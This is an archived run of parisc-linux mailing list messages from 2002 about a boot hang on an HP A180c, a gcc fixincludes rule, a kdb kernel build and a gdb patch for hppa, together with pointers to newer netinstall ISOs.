List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14937

> Jonathan Pulfer wrote:
> > Could anyone give me some pointers as to kernel parameters that need to
> > be passed to PALO or whether I need to use a serial console please.
>=20
> I suggest trying serial console if you can.
> I'm not intimately familiar with web console on A180's but have
> heard it's not the same as remote consoles on other parisc servers.
>=20
> grant

I have tried using a serial console and here is the output on the console: -


=DE=DE=DE

Firmware Version  39.32

Duplex Console IO Dependent Code (IODC) revision 4

---------------------------------------------------------------------------=
---
   (c) Copyright 1996-1999, Hewlett-Packard Company, All rights reserved
---------------------------------------------------------------------------=
---

   Processor Speed   Coprocessor State  Cache Size
   ---------------   -----------------  ----------
   180 MHz           Functional         64 KB
                                         1 MB additional

  Model: A180c/1

  Available memory (bytes)    :  268435456=20

  Primary boot path:    8/16/5.6   (dec)
  Alternate boot path:  8/16/5.0   (dec)
  Console path:         8/16/4.0   (dec)

------- Main Menu ---------------------------------------------------------=
----

        Command                         Description
        -------                         -----------
        BOot [PRI|ALT|<path>]           Boot from specified path
        PAth [PRI|ALT|CON] [<path>]     Display or modify a path
        SEArch [DIsplay|IPL] [<path>]   Search for boot devices

        COnfiguration [<command>]       Access Configuration menu/commands
        INformation [<command>]         Access Information menu/commands
        SERvice [<command>]             Access Service menu/commands

        DIsplay                         Redisplay the current menu
        HElp [<menu>|<command>]         Display help for menu or command
        RESET                           Restart the system
-------
Main Menu: Enter command > boot 8/16/5.1
Interact with IPL (Y, N, or Cancel)?> y

Booting...=20
Boot IO Dependent Code (IODC) revision 144


HARD Booted.
palo ipl 0.96 root@palinux Fri Nov  2 16:31:18 MST 2001

Boot image contains:
    0/vmlinux32 3122078 bytes @ 0x4cf000
    0/vmlinux64 3990942 bytes @ 0x7c9800
    0/ramdisk 1946807 bytes @ 0xb98000

Information: No console specified on kernel command line. This is normal.
PALO will choose the console currently  used by firmware (serial).
Current command line:
0/vmlinux root=3D/dev/ram initrd=3D0/ramdisk console=3DttyS0 TERM=3Dvt102
 0: 0/vmlinux
 1: root=3D/dev/ram
 2: initrd=3D0/ramdisk
 3: console=3DttyS0
 4: TERM=3Dvt102

Edit which field?
(or 'b' to boot with this command line)? 0
0/vmlinux32
Current command line:
0/vmlinux32 root=3D/dev/ram initrd=3D0/ramdisk console=3DttyS0 TERM=3Dvt102
 0: 0/vmlinux32
 1: root=3D/dev/ram
 2: initrd=3D0/ramdisk
 3: console=3DttyS0
 4: TERM=3Dvt102

Edit which field?
(or 'b' to boot with this command line)? b

Command line for kernel: 'root=3D/dev/ram console=3DttyS0 TERM=3Dvt102'
Selected kernel: /vmlinux32 from partition 0
Selected ramdisk: /ramdisk from partition 0
ELF32 executable
Entry 00100000 first 00100000 n 6
Segment 0 load 00100000 size 1618208 mediaptr 0x1000
Segment 1 load 0028c000 size 287728 mediaptr 0x18d000
Segment 2 load 002d4000 size 379072 mediaptr 0x1d4000
Segment 3 load 00334000 size 8192 mediaptr 0x231000
Segment 4 load 00338000 size 32768 mediaptr 0x233000
Segment 5 load 003750e8 size 83184 mediaptr 0x23b0e8
Loading ramdisk 1946807 bytes @ 0fe14000...
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

FLT  CBFB


And this is where it hangs.

Thanks
Jonathan Pulfer


**********************************************************************
This email and any files sent with it are intended only for the named=20
recipient. If you are not the named recipient please telephone/email =20
the sender immediately. You should not disclose the content or       =20
take/retain/distribute any copies.                                   =20
**********************************************************************



From - Thu Nov 08 21:22:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kdb_v21 branch updated to -pa26, and kallsyms cross-compile
Date: Fri, 31 May 2002 08:54:19 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <20020531085419.B18658@systemhalted>
References: <20020529075131.GC9919@tykepenguin.com> <20020529082107.A2794@systemhalted> <20020529141231.GG9919@tykepenguin.com> <20020529110118.A3691@systemhalted> <20020529162438.GJ9919@tykepenguin.com> <20020529132631.B3691@systemhalted> <20020529180739.GL9919@tykepenguin.com> <20020530143626.GF810@tykepenguin.com> <20020530133515.B15631@systemhalted> <20020531072849.GD1145@tykepenguin.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621346 8146 80.91.229.3 (22 Nov 2014 01:55:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:46 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 31 06:54:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sh.od.inet (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 20D8A482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 31 May 2002 06:54:07 -0600 (MDT)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.6/8.11.0) id g4VCsJE18801
	for parisc-linux@lists.parisc-linux.org; Fri, 31 May 2002 08:54:19 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020531072849.GD1145@tykepenguin.com>; from patrick@tykepenguin.com on Fri, May 31, 2002 at 08:28:49AM +0100
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (21% Sync Ratio [==........])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14938

> 
> Yes, exactly the same results. There's some thing different about the
> binary vmlinux thatmay, or may not, be relevant. The kdb one seems to
> have fewer segments than a non-kdb one:
> 

Yes. Something is broke.

I just recently cleaned up my src trees and rebuilt a
kdb enabled kernel and I get the same result on my 712/60.

/me puts thinking cap on...

The _interesting_ thing would be to diff the System.map's
for kdb-on vs. kdb-off to see is anything is explicitly being
removed.

I'll start a build going.

c.




From - Thu Nov 08 21:22:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-cvs problem
Date: Fri, 31 May 2002 17:14:09 +0200 (CEST)
Lines: 62
Approved: news@gmane.org
Message-ID: <1022858049.3cf793414fbf4@webmail.tiscalinet.be>
References: <200205301751.g4UHpl5f003168@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621346 8150 80.91.229.3 (22 Nov 2014 01:55:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:46 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 31 09:16:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id AD88A482A
	for <parisc-linux@parisc-linux.org>; Fri, 31 May 2002 09:16:02 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17Do6T-0001s9-00; Fri, 31 May 2002 17:14:09 +0200
In-Reply-To: <200205301751.g4UHpl5f003168@hiauly1.hia.nrc.ca>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14939

Hi Dave,

It seems to be well comited in last cvs update this morming I got in
src/gcc/gcc/fixinc/inclhack.def:
...
/*
 * __thread is now a keyword.
 */
fix = {
    hackname  = thread_keyword;
    files     = "pthread.h";
    files     = "bits/sigthread.h";
    select    = " __thread([,)])";
    c_fix     = format;
    c_fix_arg = " __thr%1";

    test_text =
        "extern int pthread_create (pthread_t *__restrict __thread,\n"
        "extern int pthread_kill (pthread_t __thread, int __signo);\n"
        "extern int pthread_cancel (pthread_t __thread);";
};
...

But do not seems to be applied as I got the same error?

What do I wrong or forget to do?

Thanks for add help,
    Joel


Quoting John David Anglin <dave@hiauly1.hia.nrc.ca>:

> > In file included from ../include/pthread.h:1,
> >                  from
> ../linuxthreads/sysdeps/pthread/bits/libc-lock.h:23,
> >                  from ../sysdeps/generic/ldsodefs.h:34,
> >                  from ../sysdeps/unix/sysv/linux/ldsodefs.h:25,
> >                  from ../sysdeps/unix/sysv/linux/init-first.c:32:
> > ../linuxthreads/sysdeps/pthread/pthread.h:163: parse error before
> "__thread"
> 
> See <http://gcc.gnu.org/ml/gcc-patches/2002-05/msg01780.html> for fix.
> 
> Dave
> -- 
> J. David Anglin                                  dave.anglin@nrc.ca
> National Research Council of Canada              (613) 990-0752 (FAX:
> 952-6605)
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:22:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-cvs problem
Date: Fri, 31 May 2002 13:15:04 -0400 (EDT)
Lines: 28
Approved: news@gmane.org
Message-ID: <200205311715.g4VHF4Pu006500@hiauly1.hia.nrc.ca>
References: <1022858049.3cf793414fbf4@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621346 8152 80.91.229.3 (22 Nov 2014 01:55:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:46 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 31 11:15:09 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id B9147482A
	for <parisc-linux@parisc-linux.org>; Fri, 31 May 2002 11:15:07 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g4VHF5FN006502
	for <parisc-linux@parisc-linux.org>; Fri, 31 May 2002 13:15:06 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g4VHF4Pu006500;
	Fri, 31 May 2002 13:15:04 -0400 (EDT)
In-Reply-To: <1022858049.3cf793414fbf4@webmail.tiscalinet.be> from "joel.soete@freebel.net" at May 31, 2002 05:14:09 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14940

> It seems to be well comited in last cvs update this morming I got in
> src/gcc/gcc/fixinc/inclhack.def:
> ...
> /*
>  * __thread is now a keyword.
>  */

> But do not seems to be applied as I got the same error?
> 
> What do I wrong or forget to do?

You should see the following in your build output:

Applying thread_keyword           to pthread.h
Fixed:  pthread.h

A fixed pthread.h should appear in the {build}/gcc/include directory.
This seems to work ok for me in a native hppa-linux build.  However,
it appears that you are trying to do a cross build.  If the header
is not being fixed, you will need to examine your build log carefully
to determine why the fix isn't being done or doesn't work.

Dave
--
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:22:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hppa gdb fix for printing function returns
Date: Fri, 31 May 2002 18:20:02 +0100
Lines: 68
Approved: news@gmane.org
Message-ID: <20020531172002.GI3471@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621347 8155 80.91.229.3 (22 Nov 2014 01:55:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, submit@bugs.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 31 11:43:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc4-hems4-0-cust39.bre.cable.ntl.com [213.105.90.39])
	by dsl2.external.hp.com (Postfix) with ESMTP id C99EB482B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 31 May 2002 11:43:11 -0600 (MDT)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 474DF9ECF7; Fri, 31 May 2002 18:20:02 +0100 (BST)
Content-Disposition: inline
User-Agent: Mutt/1.3.24i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14941

package: gdb
version: 5.2.cvs20020401-6

The attached patch fixes gdb on hppa so that it will print function
returns (e.g. "print foo(6)"), where previously it would crash the
inferior with protection faults.

There are still some problems, for example, print strlen("foo") will
fail.  To evaluate that, gdb has first got to get the inferior to call
malloc so there is somewhere to store the string.  For a dynamically
linked program, gdb is finding a symbol 'malloc' in ld-2.2.5.so and
trying to call that, with a bogus dp value.  If you link the program
statically, gdb finds the right 'malloc' to call and it works.

Richard



diff -ur gdb-5.2.cvs20020401.ori/gdb/pa-linux-tdep.c gdb-5.2.cvs20020401/gdb/pa-linux-tdep.c
--- gdb-5.2.cvs20020401.ori/gdb/pa-linux-tdep.c	Fri May 31 17:57:21 2002
+++ gdb-5.2.cvs20020401/gdb/pa-linux-tdep.c	Fri May 31 18:25:22 2002
@@ -38,8 +38,8 @@
 static void
 pa_write_pc (CORE_ADDR pc, ptid_t ptid)
 {
-  write_register_pid (PA_PCOQ_HEAD_REGNUM, pc, ptid);
-  write_register_pid (PA_PCOQ_TAIL_REGNUM, pc + 4, ptid);
+  write_register_pid (PA_PCOQ_HEAD_REGNUM, pc | 3, ptid);
+  write_register_pid (PA_PCOQ_TAIL_REGNUM, (pc + 4) | 3, ptid);
 }
 
 static CORE_ADDR
@@ -426,8 +426,8 @@
   /* We can not modify the instruction address queues directly, so we start
      up the inferior and execute a couple of instructions to set them so
      that they point to the call dummy in the stack.  */
-  pcoqh = read_register (PA_PCOQ_HEAD_REGNUM);
-  pcoqt = read_register (PA_PCOQ_TAIL_REGNUM);
+  pcoqh = read_register (PA_PCOQ_HEAD_REGNUM) & ~3;
+  pcoqt = read_register (PA_PCOQ_TAIL_REGNUM) & ~3;
 
   if (target_read_memory (pcoqh, buf, 4) != 0)
     error ("Couldn't modify instruction address queue\n");
@@ -547,8 +547,8 @@
   /* We can not modify the instruction address queues directly, so we start
      up the inferior and execute a couple of instructions to set them so
      that they point to the call dummy in the stack.  */
-  pcoqh = read_register (PA_PCOQ_HEAD_REGNUM);
-  pcoqt = read_register (PA_PCOQ_TAIL_REGNUM);
+  pcoqh = read_register (PA_PCOQ_HEAD_REGNUM) & ~3;
+  pcoqt = read_register (PA_PCOQ_TAIL_REGNUM) & ~3;
 
   if (target_read_memory (pcoqh, buf, 4) != 0)
     error ("Couldn't modify instruction address queue\n");
diff -ur gdb-5.2.cvs20020401.ori/gdb/pa-tdep.c gdb-5.2.cvs20020401/gdb/pa-tdep.c
--- gdb-5.2.cvs20020401.ori/gdb/pa-tdep.c	Fri May 31 17:57:21 2002
+++ gdb-5.2.cvs20020401/gdb/pa-tdep.c	Fri May 31 01:01:42 2002
@@ -2098,6 +2098,7 @@
   int reg_size = REGISTER_SIZE;
 
   fp = FRAME_FP (frame);
+  FRAME_INIT_SAVED_REGS(frame);
   fsr = frame->saved_regs;
 
 #ifndef NO_PC_SPACE_QUEUE_RESTORE




From - Thu Nov 08 21:22:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] install on A180c
Date: Fri, 31 May 2002 12:12:43 -0600
Lines: 12
Approved: news@gmane.org
Message-ID: <20020531181244.0CB8E482A@dsl2.external.hp.com>
References: <200205311242.g4VCg9Z02397@phobos.norwich-union.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621347 8157 80.91.229.3 (22 Nov 2014 01:55:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jonathan Pulfer <pulferj.phobos@midrange.norwich-union.co.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 31 12:12:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 0CB8E482A; Fri, 31 May 2002 12:12:43 -0600 (MDT)
In-Reply-To: Message from Jonathan Pulfer <pulferj.phobos@midrange.norwich-union.co.uk> 
   of "Fri, 31 May 2002 13:42:09 BST." <200205311242.g4VCg9Z02397@phobos.norwich-union.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14942

Jonathan Pulfer wrote:
> FLT  CBFB

Ouch. I think that's an HPMC.

IMHO, the problem is not worth chasing at this point though.
IIRC, Richard recently posted newer ones based on 2.4.18-pa29 or -pa30.
And ESIEE (thanks Thibaut!) have (or will) post newer netinstall ISO's.

grant



From - Thu Nov 08 21:22:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] install on A180c
Date: Fri, 31 May 2002 20:42:10 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <20020531194210.GL3471@sleepie.demon.co.uk>
References: <200205311242.g4VCg9Z02397@phobos.norwich-union.com> <20020531181244.0CB8E482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621347 8158 80.91.229.3 (22 Nov 2014 01:55:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jonathan Pulfer <pulferj.phobos@midrange.norwich-union.co.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 31 14:05:19 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc4-hems4-0-cust39.bre.cable.ntl.com [213.105.90.39])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2A04D482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 31 May 2002 14:05:19 -0600 (MDT)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 78D409ECF7; Fri, 31 May 2002 20:42:10 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <20020531181244.0CB8E482A@dsl2.external.hp.com>
User-Agent: Mutt/1.3.24i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14943

On Fri, May 31, 2002 at 12:12:43PM -0600, Grant Grundler wrote:
> Jonathan Pulfer wrote:
> > FLT  CBFB
> 
> Ouch. I think that's an HPMC.
> 
> IMHO, the problem is not worth chasing at this point though.
> IIRC, Richard recently posted newer ones based on 2.4.18-pa29 or -pa30.
> And ESIEE (thanks Thibaut!) have (or will) post newer netinstall ISO's.

The one I posted was 2.4.17-pa32 based, but had latest versions of woody
packages.

Thibaut is building ISOs with newer kernels.  Check

ftp.parisc-linux.org/cd-images/testing/palinux-2.4.18-pa26-20020526-netinst.iso

for example.  Thibaut may have newer ones on the ESIEE site.

Richard




From - Thu Nov 08 21:22:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] install on A180c
Date: Fri, 31 May 2002 23:22:29 +0200
Lines: 41
Approved: news@gmane.org
Message-ID: <82D93A21-74DC-11D6-8AEA-0030656F07A2@esiee.fr>
References: <20020531194210.GL3471@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v481)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621348 8160 80.91.229.3 (22 Nov 2014 01:55:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:48 +0000 (UTC)
Cc: Jonathan Pulfer <pulferj.phobos@midrange.norwich-union.co.uk>,
	parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 31 15:22:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9B461482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 31 May 2002 15:22:30 -0600 (MDT)
Original-Received: from npyu.esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id 4A5DA49C9F; Fri, 31 May 2002 23:22:29 +0200 (CEST)
In-Reply-To: <20020531194210.GL3471@sleepie.demon.co.uk>
X-Mailer: Apple Mail (2.481)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14944

Le vendredi 31 mai 2002, =E0 09:42 , Richard Hirst a =E9crit :

> On Fri, May 31, 2002 at 12:12:43PM -0600, Grant Grundler wrote:
>> Jonathan Pulfer wrote:
>>> FLT  CBFB
>>
>> Ouch. I think that's an HPMC.
>>
>> IMHO, the problem is not worth chasing at this point though.
>> IIRC, Richard recently posted newer ones based on 2.4.18-pa29 or =
-pa30.
>> And ESIEE (thanks Thibaut!) have (or will) post newer netinstall =
ISO's.
>
> The one I posted was 2.4.17-pa32 based, but had latest versions of =
woody
> packages.
>
> Thibaut is building ISOs with newer kernels.  Check
>
> ftp.parisc-linux.org/cd-
> images/testing/palinux-2.4.18-pa26-20020526-netinst.iso
>
> for example.  Thibaut may have newer ones on the ESIEE site.
Yes there are:
http://pateam.esiee.fr/cd-images/testing/
